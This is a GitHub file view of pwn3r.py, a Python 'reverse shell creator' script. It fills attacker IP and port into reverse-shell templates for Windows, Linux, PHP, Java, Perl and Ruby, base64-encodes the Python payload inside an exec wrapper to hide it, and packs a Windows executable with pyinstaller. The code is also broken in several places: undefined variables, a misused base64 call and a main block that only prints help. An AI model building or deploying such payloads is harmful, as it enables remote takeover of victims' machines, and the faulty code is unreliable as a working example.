-
Notifications
You must be signed in to change notification settings - Fork 6
/
pwn3r.py
214 lines (192 loc) · 8.49 KB
/
pwn3r.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
#!/usr/bin/env python3
# --n3x7--
# sundaysec http://github.com/sundaysec
#########################################################################
# DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE #
# Version 2, December 2004 #
# #
# Copyright (C) 2018 Sunday Philemon [email protected] #
# #
# Everyone is permitted to copy and distribute verbatim or modified #
# copies of this license document, and changing it is allowed as long #
# as the name is changed. #
# #
# DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE #
# TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION #
# #
# 0. You just DO WHAT THE FUCK YOU WANT TO #
#########################################################################
import argparse as arg
import os
import socket
import fcntl
import struct
import base64
import random
import fileinput
from shutil import copyfile
# -------------------------------
#Get ip --- Currently Not Needed:
# -------------------------------
# def interface_ip(ifname):
# s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
# return socket.inet_ntoa(fcntl.ioctl(
# s.fileno(),
# 0x8915, # SIOCGIFADDR
# struct.pack('256s', ifname[:15])
# )[20:24])
# default_ip = interface_ip('wlan0')
# ----------
#Arguements:
# ----------
parser = arg.ArgumentParser()
parser.add_argument("-t","--type", help="Payload type(Default: windows)", default="windows")
parser.add_argument("-d", "--dest", help="Destination Host (Leave Empty for bind shell)", default='')
# parser.add_argument("-i", "--interface", help="Interface to use(Not mandatory) ")
parser.add_argument("-p", "--port", help="The port to listen on", default=443)
parser.add_argument("-o", "--output", help="The output filename",default="output")
done=parser.parse_args()
def help():
print("""
_____
_ ____ ___ __ |___ / _ __
| '_ \ \ /\ / / '_ \ |_ \| '__|
| |_) \ V V /| | | |___) | |
| .__/ \_/\_/ |_| |_|____/|_|
|_| reverse shell creator
-h/--help : Display this help message
-t/--type : Os type : Windows/Linux
-d/--dest : Destination Ip
-p/--port : Destination Port
""")
class main:
def __init__(self, host, port):
self.host = host
self.port = port
self.name = output
def linpy(self):
# --------------------------------------------
# Creates python reverse shell file for linux:
# --------------------------------------------
copyfile("core/lin.py", "/temp/lin.py")
with fileinput.FileInput("/temp/lin.py", inplace=True, backup='.bak') as file:
# ---------------------------
# Find and replace variables:
# ---------------------------
for line in file:
print(line.replace(ipaddr, self.host))
print(line.replace(port, self.port))
with open('/temp/lin.py', 'r') as temp2:
data=temp2.read().replace('\n', '')
# -------------------
# Encode the Payload:
# -------------------
encoded = base64.encode(data)
# ------------------------------
# Create and Write Final Output:
# ------------------------------
final = open('output/'+ self.name +'.py',"w")
final.write("exec(" + encoded + ").decode('base64')")
def winexe(self):
# --------------------------------------------
# Compiles python reverse shell into exe file:
# --------------------------------------------
copyfile("core/win.py", "/temp/win.py")
with fileinput.FileInput("/temp/win.py", inplace=True, backup='.bak') as file:
# ---------------------------
# Find and replace variables:
# --------------------------
for line in file:
print(line.replace(ipaddr, self.host))
print(line.replace(port, self.port))
with open('/temp/win.py', 'r') as temp2:
data=temp2.read().replace('\n', '')
encoded = base64.encode(data)
final = open('output/'+self.name+'.py','w')
final.write("exec(" + encoded + ").decode('base64')")
# ---------------------------
# Convert to exe for Windows:
# ---------------------------
subprocess.Popen("wine ~/.wine/drive_c/Python27/Scripts/pyinstaller.exe --onefile output/final.py", shell=True).wait()
def php(self):
# --------------------------
# Creates Php reverse shell:
# --------------------------
copyfile("core/php.php", 'output/'+self.name+'.php')
with fileinput.FileInput('output/'+self.name+'.php', inplace=True, backup='.bak') as file:
# ---------------------------
# Find and replace variables:
# --------------------------
for line in file:
print(line.replace(ipaddr, self.host))
print(line.replace(port, self.port))
def java(self):
# --------------------------
# Creates Java reverse shell:
# --------------------------
copyfile("core/java.java", 'output/'+self.name+'.java')
with fileinput.FileInput('output/'+self.name+'.java', inplace=True, backup='.bak') as file:
# ---------------------------
# Find and replace variables:
# --------------------------
for line in file:
print(line.replace(ipaddr, self.host))
print(line.replace(port, self.port))
def linux_perl(self):
# ---------------------------------------
# Creates Perl reverse shell for Linux:
# ---------------------------------------
copyfile("core/sh_perl.pl", 'output/'+self.name+'.pl')
with fileinput.FileInput('output/'+self.name+'.pl', inplace=True, backup='.bak') as file:
# ---------------------------
# Find and replace variables:
# --------------------------
for line in file:
print(line.replace(ipaddr, self.host))
print(line.replace(port, self.port))
def windows_perl(self):
# ---------------------------------------
# Creates Perl reverse shell for Windows:
# ---------------------------------------
copyfile("core/cmd_perl.pl", 'output/'+self.name+'.pl')
with fileinput.FileInput('output/'+self.name+'.pl', inplace=True, backup='.bak') as file:
# ---------------------------
# Find and replace variables:
# --------------------------
for line in file:
print(line.replace(ipaddr, self.host))
print(line.replace(port, self.port))
def ruby_shell(self):
# ---------------------------------------
# Creates Ruby reverse shell for Linux:
# ---------------------------------------
copyfile("core/ruby_sh.rb", 'output/'+self.name+'.rb')
with fileinput.FileInput('output/'+self.name+'.rb', inplace=True, backup='.bak') as file:
# ---------------------------
# Find and replace variables:
# --------------------------
for line in file:
print(line.replace(ipaddr, self.host))
print(line.replace(port, self.port))
def ruby_cmd(self):
# ---------------------------------------
# Creates Ruby reverse shell for Windows:
# ---------------------------------------
copyfile("core/ruby_cmd.rb", 'output/'+self.name+'.rb')
with fileinput.FileInput('output/'+self.name+'.rb', inplace=True, backup='.bak') as file:
# ---------------------------
# Find and replace variables:
# ---------------------------
for line in file:
print(line.replace(ipaddr, self.host))
print(line.replace(port, self.port))
@classmethod
def output_name(cls):
cls.name = done.output
def cleanup():
# ------------------
#Currently not need:
# ------------------
pass
if __name__ == "__main__":
help()